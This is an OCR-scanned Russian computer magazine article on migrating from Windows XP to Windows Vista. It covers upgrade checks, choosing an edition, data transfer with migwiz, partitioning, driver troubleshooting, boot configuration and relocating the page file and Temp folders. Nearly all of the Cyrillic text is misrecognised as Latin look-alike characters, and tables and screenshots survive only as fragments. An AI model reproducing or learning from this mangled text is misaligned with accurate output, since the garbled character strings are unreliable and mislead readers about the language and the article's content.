OKa3ajiocB HHnyTB He cjioxHee, neM bo 
BpeMeHa XP; Bee nonyjinpHBie nporpaM- 
MBi, HanpHMep Acrobat Reader, padoTa- 
K)T KOppeKTHO. OyHKHHOHHpyeT TaiGKe H 
60 JIBIHHHCTB 0 npHJIOXeHHH C OTKpBITBIM 
koaom — bot eme OAHa onpOBeprayran 
CTpaniHjiKa. Ho KaK 6bi to hh 6buio, xoe 
b hqm Vista Bee xce OTjiHnaeTcn ot npeaBi- 
AyntHx BepCHH Windows. 

npOBepKa CMCTBMbi: 

coBMBCTMMOdb c Vista Mene3a M no 

Ecjih bbi npHodpeTaeTe hobbih nK, Ha 
HeM, CKOpee Bcero, 6yAeT yxe ycTaHOBjiem 
Vista. Ecjih xce y Bac ecTB KOMnBiOTep c 
oahoh H3 npeAbiAyiUHx BepCHH Windows h 
bbi xoTHTe nepeftTH Ha Vista, cnepBa npo- 


BepBTe, cooTBeTCTByeT jih Baina CHCTeMa 
annapaTHBiM TpedoBaHHHM h dyayr jih 
noAAepxdiBaTBCH jnodnMBie nporpaMMBi. 
IIpoBepbTe iKejie30. YrajiMTa Windows 
Vista Upgrade Advisor H3ynaeT Bee Baxo 
HBie KOMnOHeHTBI KOMnBIOTepa, TaKHe 
Kax npou;eccop, xecTKHH ahck h rpaepn- 
necKan njiaTa. Ecjih HeodxoaHMa Moaep- 
HH3au;HH, nepeA cooTBeTCTByioiAHM kom- 

nOHeHTOM nOBBHTCil KpaCHBIH 3HaHOK. 

Kaioie nporpaMMBi dyayr padoTaTB? 
Windows Vista Upgrade Advisor noacKa- 
xeT, Kaicne npHjioxeHHH TpedyeTcn yaa- 
jihtb, b cjiynae ecjin bbi aeJiaere anrpena 
npeaBiAymeii Bepcnn Windows. KaK npa- 
BHJIO, 3TO aHTHBHpyCBI. TaiOKe yTHJIHTa 
COOdlAHT, COBMeCTHMBI JIH yCTaHOBJieH - 

HBie b Windows XP npiuioxeHHH c Vista. 
nojiHBin nepeneHB noaaepxHBaeMBix 
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Ha AMCKe 3Toro HOMepa: nepean yimma nnn TioHiiHra Windows Vista 


BcTpenaMTe: nepBaa nporpaMMa a/ia noHMHra 
Vista! TweakVI ocymecTB/iaeT Bee HacrpoMKM, 
KOTopbie Bbi npoBOAM/iM b XP, ripi/ineM, ec/iM 
yroflHo, fle/iaei 3 to no/iHocTbK) aBTcmaTMHec- 
km. llpaBAa, BTopoM Bapnam Mbi He peKoweH- 
AyeM, nocKO/ibKy HeKOTopbie HacrpoMKM ao- 
Ka3a/iM cbok) 6eccMbic^eHHOdb eiAe b XP. 

B mx HMC/ie HMCTKa nanKM «Prefetch» m Bbi- 
rpy3Ka HApa b cfiaM/i noAKaHKM. 

JlyHLue Bbi6paTb we/iaeMbie M3MeHeHMA Bpyn- 
Hyfo. HanpMMep, MMeeT CMbo nepeweiAaTb 
CMdeMHbie nanKM npM HexBaTKe naMiiTM Ha 
>KeCTKOM AMCKe M/1M nOKa3blBaTb CKpMnTbl 
npM 3anycKe. 



-> iw tri Lim MMrifnm 
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n0J1E3H0 


BxjuoHMTe OTodpawemie Logon- 
CKpiinTOB - 3T0 n03B0J1MT odHapywMBaTb 
oujmGkm bo BpeMB 3arpy3KM Vista 


hoboh OC nporpaMM moxho HaiiTH no 
aapeey www.iexbeta.com/wiki/index.php/ 
Windows_Vista_Software_Compatibility_ 
List. CnncoK CHadxeH yaodHoii py6pn- 
Kaaneii no TnnaM npnjioaceHHn: amriBH- 
pycBi, nrpbi, MHTepHeT ht.a. 

Bbi6op BcpcMi KaKOM BapiiaHT Vista 
byAeT caMbiM onimviajibHbiM ajih Bac? 

Koraa Ha CMeHy XP npnmjia Vista, non- 
BnjiacB npo6jieMa BBi6opa. fleno b tom, 


CTapTOBbIM 
Ha 6 op flan Vista 

Bee, hto noTpefiyeTCfl ajia nepexofla 
Ha Windows Vista 

HA flMCKE B PA3ffEJlE «50HYC» 

Windows Vista Upgrade Advisor 

npoBepaeT annapaTHyio m nporpaMMHyio 
nacTM KOMnbiOTepa Ha coBMecTMMOdb 
c Vista 

vLite Beta O 

Co3AaeT 3arpy30HHbie CD/DVD ajih 
V ista (mo>kho CKanaTb no aApecy 

http://vlite.net) 

TweakVI O 

PacnpocTpaHneT Ha Vista noHMHroBbie 
npneMbi XP 

Tweak Vista O 

I/I HCTpyMe HT TOHKOM HaCTpOMKM, CXOA" 
HbiM c TweakUl (mo>kho CKanaTb no aA- 
pecy www.tweakvista.com) 

ISO-Recorder 3 - Vista Edition O 

PacLUMpneT cpyHKpMio 3anMCM a mckob 

OpenAL O 

YcTpaHneT npoGneivibi co 3ByK0M 
EAX b Mrpax 

Easy BCD 1.5 O 

lloMoraeT b peAaKTMpoBaHMM 3arpy3HM- 
Ka (mo>kho cKanaTb no aApecy http:// 
neosmart.net/software.php) 


hto Microsoft hcckojibko c 6 nBaeT noxy- 
naTejien c TOJiKy iihtbio pa3HBiMn Bapn- 
aHTaMn cncTeMBi. 

KopnopaTHBHbie rjihchtm. Microsoft 
npeartaraeT Bepcmo Business hjih 
Enterprise b 3aBncnM0CTH ot pa3MepOB 
(J)npMBi. OaHaKO b Business HeT ninc^po- 
BaHHH hhckob, Tax hto Ba>KHbie Kopnopa- 
THBHBie naHHbie ocTaHyrcn no a yrpo3on. 
TaioKe b Hen OTcyrcTByiOT noacncTeMa 
aan pa6oTBi npnjioxeHHH Unix n cjiyHK- 
hhh « Virtual PC Express». Tax hto aeiiy 
Vista Business moxcho Ha3BaTB HeonpaB- 
aaHHO bbicokoh. Ilpn noxynxe Enterprise 
Heo6xoanMO 3aKJTK)HHTb oco6oe jinn;eH3H- 
OHHoe comameHne (Microsoft Enterprise 
Agreement). 3 tot HpeaBbinanHo aoporon 
naxeT paccHUTaH no MeHBmen Mepe Ha 
250 KOMnbiOTepoB n BKjnonaeT HHanBnay- 
ajiBHoe KOHcyjiBTnpOBaHne n cnennajib- 
Hyio cjiyx:6y noaaepxcKH. 

IIomhmo othx anyx Bepcnn MajiBiM 
npeanpHHTHHM n npoaBHHyrbiM nojiB 30 - 
BaTejiHM ocTaeTCH jinmB Vista Ultimate. 
OHa CBoGoaHa ot orpaHnneHnn n 3 aMeT- 
ho BbiroaHee no ijeHe, neM Enterprise. 

MacTHbie nojib 30 BaTejm. J\ju\ hhx cymee- 
TByiOT Home Basic n Home Premium. Ho 
nocKOJiBKy b Bepcnn Basic HeT m-rrep- 
4>enca Aero n MeanaaeHTpa, a hmchho 

3TO HBJIHeTCn OCHOBHBIM MOTHBOM nepe- 

xoaa Ha Vista (He CHHTan hobbix cjiyHK- 
ann 6 e 3 onacHOCTn), mbi peKOMeHayeM 
ocTaHOBHTB BBi 6 op Ha Home Premium. 

3atAMTa naHHbix: xaic nepeHecTM cpaiiJibi 
m nporpaMMbi M3 XP b Vista? 

Pa3yMeeTcn, noMHMO caMoit Vista noHa- 
ao6nTcn aaHHBie n npnjioxceHnn, koto- 
Pbimh bbi nojiB30Bajincb b XP. HtoGbi ohh 
He nponajin, noTpedyeTcn C03aaTB pe3ep- 


BHyio Konmo arm nepeHOca b Vista. Eiae 
jiynrne ycTaHOBHTB Vista b apyroM pa3ae- 
jie. Toraa n b hoboh OC bbi 6yaeTe hmctb 
aocTyn k aaHHBiM CTaporo XP-pa3aejia. 

npn nepeHOce npnjioxeHHH, ynembix 
3anncen n HacTpoex ajieKTpOHHon nonTBi 
noMOxeT BCTpoeHHBin b Windows accnc- 
TeHT. Hto6bi co3aaTB pe3epBHyio xonnio 
aaHHBix XP-pa3aejia nepea anrpenaoM, 
KjiHKHHTe no «nycK | Bbhiojihhtb» h BBe- 
anTe cjieayfoinyK) KOMaHay: 

migwiz 

B noiiBHBmeMcn «MacTepe nepeHOca 
(JianjiOB n napaMeTpOB» yKaxcnre, hto 3to 
B am ncxoaHBin KOMnBiOTep. 3aTeM BBi6e- 
pHTe MecTO ana coxpaHeHim aaHHBix. Oho 
MoaceT 6 bitb jiio6bim — ot ceTeBoro cepBe- 
pa ao CBeMHoro HOCHTejin. 

TenepB OTMeTBre onnnro «napaMeTpBi n 
(J)anjiBi» n BBi6epHTe Taioxe «npeaocTaBHTB 
bo3moxchoctb BBidopa (jianjiOB h napaMeT- 
pOB aJM nepeHOca». 3 to aeJiaeTcn arm 
toto, HTodbi He nepeHOCHTB b HOByio Bep- 
cnio CTapBie HeHyacHBie aaHHBie hjih 
H eHcnojiB3yeMbie nporpaMMBi. 

nepexoA Ha Vista: HyxcHa am hob 3 r 
MHCTa/uiRUMR mum TO/ibKO anrpeMfl? 

Vista HHCTajumpyeTcn HecKOJibKO HHane, 
hcm XP. HanpHMep, npn anrpenae Windows 
XP He yaaJiHeTCH, a coxpaimeTCii b cneHH- 
ajiBHBiii (JiaiEji windows.old. 

IHU :] =i I YcTaHOBHTe Vista c Hyjm Ha tojibko 

HTO OT(j)OpMaTHpOBaHHBIH XeCTKHH aHCK 
hjih b oTaejiBHBiii pa3aeji. flajiee mbi pac- 
cxaxeM, hto HyjKHO 3HaTB arm anrpeHaa 
yxe ycTaHOBjieHHOH XP-Bepcnn. 

Honan HHCTajuiflunn. B otom cjiynae 
CHanajia BKjnoHHTe b BIOS 3arpy3Ky c 
CD/DVD-npHBoaa. 3aTeM nepe3ar- 
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HBI? TEST & TECHNICS flepexofl Ha Windows Vista 


py3HTe KOMIIblOTep CO BCTaBJieHHLIM 

Ahckom Vista Setup. C Han air a Windows 
3aaacT napy o6mnx BonpocoB Bpoae 
nacoBoro nonca h pacicnaaKH KjiaBnaTy- 
pti; 3aTeM BbidepHTe «Install Now». 
BBeairre kjikdu npoayKTa n, npHHAB 
ycjiOBHii jiniieH3HOHHoro corjiainemni, 
BBidepHTe thii ycTaHOBKH « Custom 
(Advanced) ». 3 to no3BOJiHT co3aaTb 


a jih Vista codcTBeHHbiH pa3aen n OTcjiop- 
MaTHpOBaTB ero. BbiaenHTe an a Hero 
20 rdairr ancKOBoro npocTpaHCTBa. 
BnocneacTBHH ana npnjioxeHHH, aoxy- 
MeHTOB h apyrux aaHHbix bh cMoxeTe 
co3aaTb oTaejibHbie pa3aejibi. 3anycTHTe 
HHCTajuiHLono KHonKOH «Next». 

Anrpeiia. npn anrpeiiae CTapan CHCTeMa 
npocTO ynaKOBbiBaeTCH b 4>aHJi windows. 


npeBoexoAdBO Windows Vista HaA XP 

MHorwe nojib30BaTe/in eLae He onpeAejii/mi/icb, ctomt jim MeHflTb cbohd CTa6i/uibH0 padoTaio- 
uayHD Windows XP Ha Vista? 3aecb Mbi noKa3biBaeM b a>K h e Pi in 1/1 e pa3/iMHvm Me>Kfly stmmm 
AB yivm 0C ot Microsoft m noflCHaeivi, noneiviy nepexoa Ha Vista M0>KeT mvieTb CMbicn. 


(DyHKUMH/ 

nporpaMMa 


PafiOHMM CT 0 J 1 


Windows Explorer 


3anucb CD u DVD 


Qa 3arpy3Ka 
a O 


HenocpeflCTBeH- 
Hbiw 3anycK npn- 
JlOXCeHMM 6e3 
Windows 


YnpaBiiemie 

n a MSTTbHD 



1/lHTepcpeMC Luna — 3to 6pe- 
m, KOTopoe ueni/iKOM jioki/itca 
Ha peHTpanbHbm npogeccop, 
hto HepeAKO noAPbrnaeT mola- 
HOCTb KOMnbioTepa. 


HoBbm paOoHMM ctoji Aero npi/icnocad/n/iBaeT- 
cn k TexHi/inecKi/iM xapaKTepi/icTMKaM KOMnbio- 
Tepa i/i, ecjn/i bo3mo>kho, i/icno/ib3yeT pecypcbi 
rpacpi/inecKOM n/iaTbi (GPU) m BMAeonaivmni. 


To/ibKO caivioe HeodxoAMMoe. 
1/lHTepcpeMC Aa/ieK ot onn/i- 
Ma/ibHoro. 


1/lHTerpnpoBaHHaa cny>K6a 
3anMCM KOMnaKT-AMCKOB. 


cpyHKAMa «Prefetch» i/i aBTOMa- 
Ti/inecKan AecpparMeHTagMfl 
3arpy30HHoro ceKTopa ycKopn- 
hdt 3anycK Windows. 


HeB03M0>KeH. 


gS flecpparivieHTaunn 


ABT0MaTM3aUMfl 


CnHxpoHH3aunn 

flaHHbIX 


Ee3onacHOCTb 


Bo3MO>KHbi HenocpeACTBeHHbm noncK h 
B binojiHeHi/ie nporpaivnvi; ycoBepmeHCTBOBaHa 
cpyHKAMB npeABapmejibHoro npocMOTpa 
M3o6pa>KeHMM i/i Bi/iAeo. 


B Aono/iHeHi/ie k 3anncn CD/DVD Bbi no/iynae- 
Te cpeACTBo aBTopi/iHra — DVD Maker. 


(pyHKAi/m «Prefetch» ycoBepmeHCTBOBaHa 
(Superfetch); HOBaa cpyHKAMfl «Ready Boost» 
no3BOJineT i/icnorib30BaTb cbeMHbie Hocmerm 
b KanecTBe Kewa, b pe3y/ibTaie Hero Vista 
padoTaeT dbicipee. 


Ecjii/i MaiepMHCKan n/iaia noAAepwi/iBaeTTex- 
Honormo OnNow, to Windows HotStart no3- 
BormeT, Hanpmviep, b /iio6om momght OTKpbiTb 
Media Player — 3arpy>KaTb nepeA stum one- 
pauMOHHyio ci/iCTeMy He Hy>KHo. 


OnepaTMBHan naivim 6e33a- 
mi/iTHa nepeA aTaKaivn/i xaKepoB, 
npn HenpaBi/uibHOM aApecaAm/i 
M0>xeT pyxHyTb bcs CMCTeivia. 

BoaroAapa yjiyHLueHHOM aApecagmi «cmhmm 
3KpaH» no^BoaeTca pe>Ke, yn3BMMbie od/iacTM 
onepan/iBHOM naMnn/i wi/icppyiOTCfl m nocTOSH- 
ho npoBepaioTcn. 

PyHHOM 3anycK nepe3 Bbi30B 
nporpaMMbi defrag. 

>KecTKi/m ahck AecpparMeHTMpyeTcn aBTOMa- 
TI/IHeCKI/l B CpOHOBOM pe>Ki/i Me. 

npocTbie 3aAann, TaKwe KaK 
Bbino/iHeHMe nporpaMM, mo>k- 
HO aBTOMaTI/131/l pOBaTb C nOMO- 
mbio «rinaHi/ipoBLLii/iKa 3aAan» 
(Task Scheduler). 

HoBbiM Task Scheduler no3BO/ineT aBTOMaTi/i- 
31/1 poBaTb cno>KHbie onepagm/i. Mo>kho 

n m nopTi/i poBaTb c APyn/ix KOMnbioTepoB XML- 
CKpnnTbi c 3aAanaMM — sto yAodHo AJifl 
padOTbi b ceTM. 

B03M0>KHa TOJlbKO C BHeiiJHMMM 
nporpaMMaMM Tuna Sync Toy. 

CoAep>KMMoe KaTa/ioroB cBepaeTca b «UeHTpe 
ci/i H xpoHi/i3ai4i/i i/i » (S ync Center). OAHaKO ceTe- 
Bbie nanKM noAAep>KMBaioTcn TO/ibKO b Aopo- 
mx BepcMnx Vista. 

Mo>kho Aonori h i/iTe/i bHO ycTa- 
HOBi/iTb HecKOJibKo nporpaMM, 
TaKi/ix KaK Windows Defender. 

HoBafl cJayH KL4.1/IH «User Account Control» npe- 
nflTCTByeT HecaH K141/10H i/i poBaH HOMy AOCTyny; 
ynyHLueHbi c|DyH K141/1 1/1 6e3onacHOCTM b Internet 
Explorer. 


old, nocne uero nojiB30BaTBcn eio bbi yace 
He CMOxeTe. 3 to aojckho noMOUb npn 
nepeHOce CTapBix a&hhbix: no KpaHHeii 
Mepe TeopeTHnecKH moacho CKonHpoBaTB 
H3 windows. old BancHBie HacTpoiiKH 
KOManaoH migwiz. OaiiaKO jiynine nepe- 
CTpaxoBaTBcn h C03AaTb xonmo AaHHbix 
eme b Windows XP. 

MnHycBi anrpenaa npouBjunoTcn noHTH 
cpa3y: HaunHaiOT MeinaTb c^pameHTbi 
CTapBix ApaHBepoB h (JiaunoB. A xax tojib- 
ko bbi yaanneTe 4>aHJi windows.old, B03- 
HHKaiOT eme h TpyaHOcra H3-3a nanox XP 
mna «Moh £OKyMeHTbi». PeecTp Vista 
3acopiiiOT HeHyncHbie 3anncH, ocTaBinne- 
cn ot XP. TaKHM o6pa30M, npHaeTCA 
jih 6 o ocTaBHTb Ha KOMnbiOTepe rp0M03a- 
khh (jianji windows.old, jih 6 o 3aHHTbC5i 
ohhctkoh peecTpa. 

0praHM3aunfl noHaAofaTCfl jim b Vista 
pa3Aeabi Ann nporpaivnvi m AaHHbix? 

HaBepHHKa bbi oto 3HaeTe enje no XP — 
h tot xce coBeT pacnpocTpaHneTcn Ha 
Vista: xcecTKHH ahck KOMnbioTepa CAeay- 
eT pa36nTb Ha hcckoabko pa3aeAOB. 
npeHMyinecTBO coctoht b tom, hto ecan 
Vista nepecTaHeT 3arpy*:aTBC5i, aocTa- 
tohho 6yaeT nepeycTaHOBHTb onepau;H- 
OHHyio CHCTeMy. flpyrae nporpaMMbi h 
cjiauAbi ocTaHyTCA b cbohx pa3aeaax. 

IlocAe ycTaHOBKH Vista noABAneTcn 
anaAoroBoe okho «Welcome Center». 
3aecB moxho 3anycTHTB npHAOxeHHe 
Aah co3AaHHA pa3AeAOB Windows, kahk- 
HyB no « System and Maintenance». 
B caeayiomeM OKHe nepeTamHTe abh>kok 
npOKpyTKH B CaMBIH HH3 H BBidepHTe 

«Create and format a hard disk partitions 
noHBHTCA okho «User Account Control» 
(«KoHTpOAb yneTHOH 3anncH noAB30Ba- 
TeAH») — noATBepAHTe BBidop, KAHKnyB 
no KHonxe «Continue». flaaee OTKpoeTcn 
anaaor «Disk Management», kotopbih 
onbiTHBiM noAB30BaTeAAM XP aoiraceH 
nOKa3aTBCA 3HaKOMBIM. 

KjiHKHHTe npaBoit KAaBHmen mbiihh no 
toh odnacTH xcecTKoro AHCKa, KOTOpan 
eme He pa36HTa Ha pa3aeAbi, h BBidepHTe 
«New Simple Volumes Mbi peKOMeimyeM 
co3AaTb ABa pa3AeAa OAHHaKOBoro pa3Me- 
pa AJin npHAO^ceHHH h aaHHbix h eme 
oahh, noMeHBme, aaa (JraiiAa noAKaHKH h 
BCH uecKoro Mycopa. Ecah yroAHO, MO>xe- 
Te TaioKe BbiAeAHTb pa3aea aaa kohcJth- 
aeHiiHaABHbix aaHHbix, hto 6 bi 3amn(J)po- 
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HBI? TEST & TECHNICS flepexofl Ha Windows Vista 


fAe npiiBbiMHbie KOMnoHembi cMcreMbi? 


HeKOTopbie 1 / 13 Becm bi e cf)y h K 141 / 1 1/1 Windows 
b Vista cm e h i/i ji i/i Ha3BaHMe i/mi/i MecTonono- 
>KeHne, ho HMKyfla He i/icnesni/i. 


Qg «Mom KOMnbK)Tep» 

YnpaB/ieHMe nanKaMM m c|)aMJiaMM 
b Vista ocymecTB/iaeica nepe3 nanKy 
Computer. OHa Bbi3biBaeica M3 nycKOBoro 
MeHK) «Start». 


1—1 M 3 MeHeHne pa 3 Mepa mkohok 

^ «DispLay Properties)) no/iHOCTbK) ne- 
pepa6oTaHbi. Ec/im y Bac Mbiuib c KonecM- 
kom, yflep>KMBaMTe HaiKaTOM K/iaBMwy 
«Ctrl». TaK moikho miaBHO Memnb pa3Mep 
MKOHOK. Ec/lM Mbllilb o6bNHafl, K/IMKHMTe 
npaBOM KHonKoPi no Pa6oHeMy crony m 
B bi6epMTe b «Appearance» oamh m 3 Tpex 
npefl/iaraeMbix pa3MepoB. 

B B00t.ini, ntldr, ntdetect 

llocKOJibKy Vista 6yflei noAAe- 
P>km B aTb T3K>Ke npeeMHMKa BIOS — 

EFI (Extensible Firmware Interface), 
Microsoft noaHOCTbfo M3MeH n/ia (faM/ibi 
3arpy3KM Windows. CociaB hoboto 
TpMo: Bootmgr (oTBenaeT 3a bm a 3arpy- 
30HHoro MHTepc|3eMca), WinLoad.exe 
(3arpy>KaeT aApo Windows m Apafieepbi, 
Heo6xoAMMbie nnx 3arpy3KM) m 


Winresume.exe (o6ecneHMBaeT 3a- 
rpy3Ky M3 cnanero pe>KM Ma) . 


E i M3MeHeHiie 3arpy30MHoro MeHio 

• Ec/im Boot.ini 60 a blue HeT, KaK >Ke 
noB/iMflTb Ha npouecc 3 arpy 3 KM? B Vista 
npeAycMOTpeHa c|)yHKUMfi «BCD)) (Boot 
Configuration Data). llpocTbie Benin BpoAe 
3arpy3KM 6e3 zioroTMna Windows HacrpanBa- 
fOTca nepe3 msconfig. BBeAMTe 3Ty KOMaHAy 
b noMCKOBOM CTpoKe m Rnn noATBep>KAeHMa 
Ha>KMMTe «Enter)). Bo BK/iaAKe Boot Bbi 6 e- 
pMTe «No GUI boot», HTo 6 bi OTK/ifOHMTb / 10 - 
roTMn. npocfieccMOHaabi MoryT Bbino/iHMTb 
B pe>KMMe aAMMHMCTpaTOpa AOBOJlbHO 
c/io>KHyK) KOMaHAy DOS — bcdedit. 
riapaMeip /? BbiAaeT cnpaBKy k Hen. 

^ Outlook Express 

rioHTOBbiM K/ineHT Tenepb Ha3biBa- 
eica Windows Mail. YneTHaa 3anMCb co- 
3AaeTca, KaK m b npeAbiAymen Bepcnn. 

M3 HOBOrO — cfDMLUMHr-c|DM/lbTp, M3BeCTHblM 
HaM no Internet Explorer. Oh OTK/iOHaeT 
nncbMa, 3aMaHMBafOLAMe Ha noAAe/ibHbie 
caPiTbi 6aHKOB. He nyianie Windows Mail c 
Windows Live Mail. Bo btopom cnynae 
nncbMa ompaBjiaeT OHjianHOBaa c/iy>K6a 
Windows Live. l1oHaAo6nTca Windows Live 
ID — aHa/ioryneTHOM 3anMCM Microsoft 
Passport b Windows XP. 


BaTb hx hoboh (pyHKUHeH Vista noA Ha 3 Ba- 
HHeM BitLocker — Me^cay npouHM, BecbMa 
3 (J)(J)eKTHBHOH. fljIH 3 TOTO HyXCHa BepCHH 

Vista Ultimate mjih Enterprise h TPM-min 
Ha MaTepHHCKOH njiaTe. 

ripodneMbi c ApauBepaMu: npaBfla am, 
hto Vista 3aHacTyio He M0)KeT onpeAe- 
jiMTb annapaTHbie KOMnoHeHTbi? 

K coxcajreHHK), cjiyxn noATBepAmiHCb: y 
Vista nacTeHbKO B 03 HHKaiOT npodjieMbi c 
oOopyAOBaHHeM. Tax hto nocjie C 03 AaHHH 
pa 3 AejiOB Bac >xneT erne oahh Ba>KHbiu 
mar: npOBepbTe b ^Hcnemepe ycTponcTB 
(Device Manager), Bee jih KOMnoHeHTbi 
y 3 Hajia Windows h Bee jih ApauBepbi npa- 
BHJIbHO nOAKJHOHeHbl. 

Ecjih okho « System and Maintenance» y 
Bac erne otkplito, to Device Manager bbi 
HaiiAeTe npnMO HaA cbyHKHHeii pa36nBKH 
xecTKoro ahcka Ha pa 3 Aejibi. Mjih >xe 
MOxeTe onpoOoBaTb eme OAHy HOBHHKy: 
Vista noHHMaeT pyccKHe KOMaHABi. 
KjiHKHHTe no KHonxe «Start» h BBeAHTe b 
CT poxe noHCxa BHH 3 y OTKpbiBmerocn 
MeHio (jipa 3 y «,ZjHcneTuep ycTponcTBs 

CncTCMa cpa 3 y xce BbiAaeT pe 3 yjibraTbi 
noHCKa. Tenepb MOxceTe 3 anycTHTb 3 Ty 
nporpaMMy, ABaacABi KjiHKHyB no 
<< 3 ,HcneTHepy ycTponcTBs HHcbopMauani 
AJin npocpH: CTapan KOMaHAa devmgmt. 
msc b Vista Oojibine He AeiiCTByeT. 

B ^HcneTnepe ycTponcTB noniAHTe xeji- 
Tbie BonpocHTejibHbie h BOCKjiHiiaTejib- 
Hbie 3 HaKH, yKa 3 biBaK)mne Ha npoOjieMbi 
c oOopyAOBaHHeM. Ecjih TaKOBbie HaHAyr- 
cn, KjiHKHHTe no KOMnoHeHTy npaBOH 
KHonKoii Mbimn h BbiGepnre «Properties». 

flajiee npOBepbre bo BKjiaAKe «Driver» 
HajiHHne ApaHBepa. Ha HanieM tcctobom 
nK, k npHMepy, He 6 buio ApaHBepa rjw 
BCTpoeHHoro 3 ByKOBoro nnna MaTepHHC- 
koh ruiaTbi ASUS. K coxajieHHio, Ha 
MOMeHT BbIXOAa HOMepa npOH 3 BOAHTeJIb 
npeAJiaraji tojibko 6 eTa-ApaHBep, koto- 
pblH MbI yCTaHOBHJIH C OoJIbHIHM TpyAOM 
nocjie HecKOJibKHx npeAynpexcAeHHH. 
mm Ecjih Vista HaoTpe 3 OTKa 3 biBaeTC 5 i 
ycTaHaBjiHBaTb ApaiiBep, nepe 3 arpy 3 H- 
Tecb h, noKa He nouBHjicii jioroTHn 
Windows, HaxcMHTe KHonKy «F 8 ». 
BbiOepHTe b 3 arpy 30 HH 0 M MeHio « Disable 
Driver Signature Enforcements TaKHM 
o 6 pa 30 M bbi CMOxceTe nojib 30 BaTbcn 
ApaHBepaMH, He HMeiOIAHMH AHCjlpOBOH 
noAnncH. 


1/lMnopT AaHHbix: KaK nepeHecTM claafuibi 
m nporpaiviMbi b HOByio cwcieMy? 

Ecjih Vista paOoTaeT 6 e 3 npodjieM h c 
ApaHBepaMH Bee b nopnAKe, nepeHecHTe 
b Hee HyxHbie np hji oxeH hh h hx 
HaCTpOHKH H AaHHbie H 3 XP 3 aCCB CHOBa 
noMOxeT cneiiHajibHbiH homoiahhk. 
Ecjih KjiHKHyTb b Vista no KHonKe «Start» 
H B nOHCKOBOH CTpOKe 3 aAaTb KOMaHAy 
migwiz, 3 anycTHTCH H 3 BecTHbiii HaM erne 
no XP «MacTep nepeHOca (jianjiOB h 
napaMeTpOB» noA hobbim Ha 3 BaHHeM: 
Windows Easy Transfer. B ocTajibHOM 
HHTepcjieHC ocTajicn 6 e 3 H 3 MeHeHHH. 
Ha 3 TOT pa 3 BbiOepHTe «This is my new 
computer» h yKaxHTe nyTb k (J)an- 
jiy SaveData.mig, KOTOpbin coAepxcnT 
Konmo Bamnx AaHHbix, co 3 AaHHyio b 
XP. Acchctcht eme pa 3 noKaxeT cnncox 
Bcex (jianjiOB, noAJiexcaiAHx nepeHOcy. 
noATBepAHTe ero npaBHjibHOCTB — h 
AaHHbie noiiBHTCii b Vista. 


l/l3MeHeHMe nyiew: KaK CAeAaTb, HTodbi b 

Vista Bee CHOBa padoiaAO no-dapoMy? 

no 3 ApaBjmeM! Vista CTaOnjibHO paOoTa- 
eT Ha BameM KOMnbioTepe co bccmh 
HHAHBHA yaJIbHbIMH HaCTpOHKaMH H 
nporpaMMaMH, KOTOpbie bbi pemnjiH 
nepeHecTH H 3 XP. Tenepb ocTajiocb 
tojibko H 3 MeHHTb napy 3 aAaHHbix no 
yMOjmaHHio nyreii, hto 6 bi 4 )aiiJibi noA- 
xauKH h Mycop cpa 3 y nonaAajiH b OTBe- 
AeHHbiH hm pa 3 Aeji. 

IlepeMemeHHe (jiaiijioB noAKanKH. 
OTKpOHTe npOBOAHHK H KjiHKHHTe npa- 
BOH KjiaBHmeii Mbimn no 3 HauKy 
«KoMnbiOTep». BbidepHTe «CBOHCTBa» h 
b cjieAyiomeM OKHe — «/l,onojiHHTejibHbie 
napaMeTpBi chctcmbi». B nonBHBmeM- 
ch Anajiore nepeKjnonHTecb Ha BKjiaAKy 
«/],OnOJIHHTeJIbHO» H KjiHKHHTe B pa 3 AC- 
jie «EbiCTpOAeHCTBHe» no KHonxe «Ila- 
paMeTpbi». Hepe 3 «/],onojiHHTejibHO | 
M 3 MeHHTb» bbi nonaAeTe b Auajior, TAe 
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mrPAum 


| IVIaciep nepeHOca flaHHbix M 36 aBm 
ot pyTMHHoro nepeMemeHMfl nojib 30 BaTejibCKOM 
MHCjJOpMaUMM Ha HOByH) CMCTBMy 


IH |Abt QMa t tmecKn Bbi6npaTb o6i>eM 4»£i/ia noaKaHWij 
Pa3Mep (Jjaiina noflKamoi a/is Kaxuoro ancxa 
flucK [MeTKa TOMa] cDaivi noatcaMKH (MB) 



BbiSpaHHbiM ahck: C: 

Cbo6oaho: 2898 MB 

© yKa3aTb pa3Mep: 

McxoAHbiPi pa3Mep (MB): | | 

MaKCMManbHbiM pa3Mep (MB): | | 

(a) Pa 3 Mep no Bbi 6 opy cucTeMbi 

© Be3 (Jjaii/ia noflKaMKM 3aaaTb 


MVCOPKA 


| HacipoMB nepeMeHHbie OKpyweHMfl, 
Bbl CM 0 )K 6 T 6 COXpaHHTb BpeiVieHHbie C|)aMJlbl B 
flpyrow pasfle/i 



nepeMeHHafl 

3Hav»e«te 


TMP 

%USERPROFHE 0 4\AppOataM.ocal\Temp 


| iOMflTb... | ( ^3«e«nTb... I [ ]^Aa/uiTb^ | 


CucieMMbie nepeneMubie 


nepeMeHMap 

3H«MeMne 

- 

ComSpec 

C: W/mdo-.vs'tf ystem32'«cmd.exe 


FP_NO_HOST jC . . 

. NO 


NUMBER_OF_P... 

2 


OS 

Windows_NT 



| Co^aaTb... | I ll3«eMHTb... | ( yaaniiTb | 


nOflKAHKA 


| Bbidepme b 3 tom flwa/iore b 
xanecTBe naivmTM pa 3 flea, OTBefleHHbm nofl 
cjiaMJi noflKaHKM Vista 


HyxHO yKa 3 aTb «MycopHbiH pa 3 aejr» b xa- 
necTBe ijejieBoro ajih cbaiuia noAxanxn. 
HaxMHTe «OK» bo Bcex otxpbitbix 
OXHaX — H H 3 MeHeHHH BCTynHT B CHJiy. 

HoBbin a^pec ajm namoi Temp. HtoGbi 
3aAaTB MecTO jxim xpaHeHHH Mycopa, 
BBi30BHTe (xax onncaHO Bbirne ajih cbaiuia 
noAxanxn) oxho <<ZJonojiHHTejibHbie 
napaMeTpbi cncTeMBi», a H3 Hero otxpoh- 
Te Anajior «CBOHCTBa CHCTeMBi». Bo 
BxaaAxe «flonojiHHTejn>HO» xjiHXHHTe no 


«IlepeMeHHBie cpeAbi». B HmxHeM cnnc- 
xe HanAHTe nepeMeHHbie Temp h Tmp. 
OTMeTbTe hx h, xjinxHyB no xHonxe 
«H 3 MeHHTb», yxaxcHTe nyrb x «MycopHO- 
My pa 3 Aejiy». Tenepb hhhto He 6 yAeT 
3 acopHTb pa 3 Aeji Vista. 

KoppexTHpoBKa nyTH ajia nporpaMM. 
Ilocxojibxy b 6 yAymeM bbi 6 yAeTe coxpa- 
hbtb np h ji oxceHHB b OTACJibHbiH pa 3 Aeji, 
